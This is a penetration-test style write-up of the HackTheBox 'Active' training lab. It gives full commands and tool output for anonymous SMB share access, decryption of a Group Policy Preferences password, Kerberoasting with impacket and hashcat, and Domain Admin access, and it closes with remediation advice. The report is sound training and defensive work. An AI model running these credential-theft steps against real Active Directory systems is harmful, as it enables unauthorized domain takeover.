

Dylan Bernard
Dylan-sec – Security Research
Dylan-sec – Security Research

PENETRATION TEST REPORT

Active – HackTheBox

Client: **Active – HackTheBox**
Test type: **Black Box**
Test period: **07/09/2026**

PREPARED BY
Dylan Bernard
Dylanbernard.contact@gmail.com

ISSUE DATE
08/09/2026

Version	Date	Author	Description of changes
1.0	08/09/2026	Dylan Bernard	Initial version of the report

Version History

Table of Contents

Version History	2
Table of Contents	2
1. Executive Summary	3
Risk level summary	
2. Attack Path	3
3. Scope and Objectives	3
Rules of engagement	3
4. Methodology	3
Risk rating matrix	4
Tools used	4
5. Findings Summary	4
6. Detailed Findings	4
Affected component / system	4
Description	4
Steps to reproduce (Proof of Concept)	5
Business impact	5
Remediation recommendation	6
References	6
Affected component / system	7
Description	7
Steps to reproduce (Proof of Concept)	7
Business impact	8
Remediation recommendation	8
References	8
7. Conclusion and General Recommendations	9
Strategic recommendations	9
8. Appendices	9
Appendix A — Glossary	9
Appendix B — References	9

1. Executive Summary

An information systems security audit was conducted to assess the robustness of the company's Active Directory infrastructure and identify potential attack vectors. The assessment revealed critical vulnerabilities, particularly related to the management of service account passwords and the use of outdated configurations. The overall risk level observed is high, exposing the organization to the potential compromise of its entire domain. Immediate corrective actions and strategic recommendations are presented in this report to sustainably strengthen the company's security posture.

2. Attack Path

Step	Action	Results
1	Anonymous SMB Access	Read-Only Replication without Authentication
2	Decrypted GPP Password	Groups.xml → SVC_TGS identifiers
3	Authenticated LDAP Enumeration	SPN detected on the Administrator account
4	Kerberoasting	TGS ticket printed and then voided offline
5	Administrator password obtained	Hashcat crack successful (rockyou.txt)
6	Accès Domain Admin confirmé	Proof of Impact: Full Access to C\$

Risk level summary

- Total number of vulnerabilities identified: 2
- Of which high: 2
- Overall risk assessment: High

3. Scope and Objectives

CLIENT	Active - HackTheBox
TECHNICAL SCOPE	10.129.59.91
TEST TYPE	Black Box
ENVIRONMENT TESTED	Training Lab
TEST DATES	07/09/2026
OBJECTIVE	Assess the resilience of the Active Directory perimeter and evaluate the feasibility of achieving domain administrator privileges from an external perspective.

Rules of engagement

- Testing was carried out strictly within the written authorization provided by the client.
- No destructive actions, real data exfiltration, or unauthorized denial of service were performed.
- Any evidence of compromise has been anonymized or redacted in this document.

4. Methodology

The methodology follows the standard phases of a structured penetration test (based on PTES / OWASP Testing Guide / NIST SP 800-115):

- Reconnaissance — passive and active information gathering on the target
- Enumeration — identification of exposed services, technologies, and attack surfaces
- Vulnerability research — manual and automated analysis
- Exploitation — controlled validation of identified vulnerabilities
- Post-exploitation — assessment of real-world impact (pivoting, privilege escalation)
- Risk analysis — scoring each finding using CVSS v3.1
- Reporting — synthesis and recommendations

Risk rating matrix

CVSS v3.1 Score	Severity level	Recommended remediation timeline
9.0 – 10.0	Critical	Immediate (within 7 days)
7.0 – 8.9	High	Within 30 days
4.0 – 6.9	Medium	Within 90 days
0.1 – 3.9	Low	Next maintenance cycle
0.0	Informational	For information only

Tools used

```
Reconnaissance : Nmap, Smbclient
Analysis       : CyberChef
Exploitation   : Impacket-GetUserSPNs
Post-exploit   : Hashcat, Smbclient
```

5. Findings Summary

The table below summarizes all identified vulnerabilities, ranked by severity (CVSS v3.1 score).

ID	Vulnerability title	Severity	CVSS	Status
V-01	Credentials Exposure via Group Policy Preferences (MS14-025)	High	8.8	Open
V-02	Kerberoasting (T1558.003)	High	8.8	Open

6. Detailed Findings

V-01 – Credentials Exposure via Group Policy Preferences (MS14-025)

SEVERITY	CVSS 3.1	CWE	STATUS
High	8.8	CWE-522	Open

<https://nvd.nist.gov/vuln/detail/cve-2014-1812>

Affected component / system

Active Directory / SMB Share Replication / SYSVOL

Description

Group Policy Preferences (GPP) stored account passwords using a weak, static AES encryption key that was publicly disclosed by Microsoft. By authenticating or connecting anonymously to the SYSVOL share via SMB, an attacker can retrieve configuration files (such as Groups.xml) containing these encrypted passwords and easily decrypt them offline

Steps to reproduce (Proof of Concept)

Step 1: Listing SMB shares

```
$ smbclient -N -L //10.129.59.91
```

Anonymous login successful

Sharename	Type	Comment
-----	----	-----
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share

IPC\$	IPC	Remote IPC
NETLOGON	Disk	Logon server share
Replication	Disk	
SYSVOL	Disk	Logon server share
Users	Disk	

SMB1 disabled -- no workgroup available

Step 2: Anonymous connection to SMB Replication and downloading the XML file

```
$ smbclient -N //10.129.59.91/Replication
Anonymous login successful
Try "help" to get a list of possible commands.
smb: > get
\active.htb\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
```

Step 3: Extracting Passwords and Decrypting Them Using Microsoft's Public Key

[+] Decrypted Password: GPPstillStandingStrong2k18

Business impact

The exposure of plaintext passwords via Group Policy Preferences allows an attacker to obtain valid credentials and escalate their privileges within the network. If these credentials grant access to sensitive accounts, this can lead to a critical compromise of the Active Directory infrastructure, exposing all of the company's data and allowing complete control over the information system.

Remediation recommendation

- Do not configure or distribute passwords using Group Policy Preferences (GPP).
- Delete or purge all obsolete Groups.xml files stored in SYSVOL
- a policy for periodically scanning SYSVOL to detect future forgotten cpasswords

References

- CVE / CWE : <https://nvd.nist.gov/vuln/detail/cve-2014-1812> ,
<https://cwe.mitre.org/data/definitions/522.html>
- MS14-025 :
<https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025?redirectedfrom=MSDN>

- Documentation:
<https://www.extrahop.com/resources/detections/group-policy-preferences-gpp-password-enumeration-activity>

V-02 — Kerberoasting (T1558.003)

SEVERITY	CVSS 3.1	CWE	STATUS
High	8.8		Open

<https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N%2FAC:L%2FPR:L%2FU:N%2FS:U%2FC:H%2FI:H%2FA:H&version=3.1>

Affected component / system

Active Directory / Service Principal Names (SPN)

Description

The Active Directory directory service allows any authenticated user in the domain to request a service ticket (TGS) for any service configured with a Service Principal Name (SPN) linked to a standard user account. In this environment, the SPN was found attached directly to the built-in Administrator (Domain Admin) account rather than a dedicated low-privilege service account, making this exploitable path directly critical. Since part of the TGS ticket is encrypted using a key derived from that account's password, an attacker can obtain this ticket and perform an offline brute-force or dictionary attack (Kerberoasting) to recover the plaintext password.

Steps to reproduce (Proof of Concept)

Step 1: LDAP User enumeration

```
$ windapsearch --dc 10.129.59.91 -d active.htb -u "SVC_TGS@active.htb" -p 'GPPstillStandingStrong2k18' -m users --full
```

```
dn: CN=Administrator,CN=Users,DC=active,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Administrator
description: Built-in account for administering the computer/domain
distinguishedName: CN=Administrator,CN=Users,DC=active,DC=htb
instanceType: 4
whenCreated: 20180718184911.0Z
whenChanged: 20260907162522.0Z
uSNCreated: 8196
memberOf: CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb
memberOf: CN=Domain Admins,CN=Users,DC=active,DC=htb
memberOf: CN=Enterprise Admins,CN=Users,DC=active,DC=htb
memberOf: CN=Schema Admins,CN=Users,DC=active,DC=htb
memberOf: CN=Administrators,CN=Builtin,DC=active,DC=htb
uSNChanged: 110629
name: Administrator
objectGUID: jnHKJRJzf0aVWkxPEJY8Hg==
userAccountControl: 66048
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 131774446554773106
lastLogoff: 0
lastLogon: 134332719297991061
logonHours: //////////////////////////////////
pwdLastSet: 131764144003517228
primaryGroupID: 513
objectSid: AQUAAAAAAAAUAAAArxtkGAS1AL49Gv129AEAAA==
```



```

adminCount: 1
accountExpires: 0
logonCount: 71
sAMAccountName: Administrator
sAMAccountType: 805306368
servicePrincipalName: active/CIFS:445
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=active,DC=htb
isCriticalSystemObject: TRUE
dSCorePropagationData: 20180718203435.0Z
dSCorePropagationData: 20180718201454.0Z
dSCorePropagationData: 20180718190545.0Z
dSCorePropagationData: 20180718190545.0Z
dSCorePropagationData: 16010101000000.0Z
lastLogonTimestamp: 134332719228726939
msDS-SupportedEncryptionTypes: 0

```

Step 2: Requesting and extracting the TGS service ticket

```
$ impacket-GetUserSPNs active.htb/SVC_TGS:"GPPstillStandingStrong2k18" -dc-ip 10.129.59.91 -request
```

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName	Name	MemberOf	Delegation
PasswordLastSet		LastLogon	
-----	-----	-----	-----
-----	-----	-----	-----
active/CIFS:445	Administrator	CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb	
2018-07-18 15:06:40.351723		2026-09-07 12:25:29.799106	

[-] CCache file is not found. Skipping...

```
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$e6e3907f...[hash truncated for readability]
```

```
$ echo '$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$e6e3907f...[hash truncated for readability]' > hash1.txt
```

Step 3: Offline cracking of the TGS hash

```
$ hashcat -m 13100 -a 0 hash1.txt /usr/share/wordlists/rockyou.txt
```

```

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target.....: $krb5tgs$23$*Administrator...
Recovered.....: 1/1 (100.00%) Digests (total)
Password.....: Ticketmaster1968

```

Impact Validation

Step 4: Validating Domain Administrator access

```
$ smbclient //10.129.59.91/C$ -U "active.htb/Administrator%Ticketmaster1968"

Try "help" to get a list of possible commands.

smb: \> cd Users\Administrator\Desktop

smb: \Users\Administrator\Desktop\> ls

  root.txt                AR          34    ...

smb: \Users\Administrator\Desktop\> get root.txt

getting file \Users\Administrator\Desktop\root.txt ...

$ cat root.txt

0da4c5887186e8859e2fb6cb2c65ccb1
```

Business impact

This vulnerability exposes Active Directory service accounts to credential theft. By requesting TGS service tickets for SPN-configured accounts, an unauthorized actor can perform offline brute-force attacks to recover plaintext passwords. This compromises service integrity and allows attackers to escalate privileges, potentially granting them unrestricted lateral movement and full administrative control over the domain

Remediation recommendation

- Migrate service accounts to gMSAs (Group Managed Service Accounts)—240-character passwords that are automatically generated and rotated, making them impossible to memorize and therefore, in practice, impossible to brute-force.
- Never associate an SPN with a high-privilege account (Administrator, Domain Admin)—create a dedicated, low-privilege service account if an SPN is required.
- Enable detection: Monitor TGS requests with abnormal volumes (Event ID 4769) via the SIEM.
- Force AES exclusively for Kerberos encryption (disable RC4) to make offline cracking more difficult.

References

- <https://attack.mitre.org/techniques/T1558/003/>

7. Conclusion and General Recommendations

The comprehensive analysis of the infrastructure reveals a general lack of security in the services, primarily characterized by a flawed password management policy and the continued use of obsolete configurations (such as insecure group policies), indicating a failure to harden and update the information system components

Strategic recommendations

- Implement a hardening plan: Regularly clean up and secure Active Directory and Group Policy (GPO) configurations.
- **Monitor and Control:** Implement regular security checks to quickly detect vulnerabilities and configuration errors.
- Password management: Change your password regularly

8. Appendices

Appendix A – Glossary

- CVSS: Common Vulnerability Scoring System — standardized system for rating vulnerability severity.
- CWE: Common Weakness Enumeration — standardized classification of software weakness types.
- SPN: Service Principal Name — A unique identifier used by Kerberos to associate a service instance with a domain account identity.
- GPO : Group Policy Object — A Group Policy object used to manage the configuration of systems and users in Active Directory.

Appendix B – References

- CVE / CWE : <https://nvd.nist.gov/vuln/detail/cve-2014-1812> ,
<https://cwe.mitre.org/data/definitions/522.html>
- MS14-025 :
<https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2014/ms14-025?redirectedfrom=MSDN>
- Documentation:
<https://www.extrahop.com/resources/detections/group-policy-preferences-gpp-password-enumeration-activity>
- <https://attack.mitre.org/techniques/T1558/003/>
- <https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N%2FAC:L%2FPR:L%2FUI:N%2FS:U%2FC:H%2FI:H%2FA:H&version=3.1>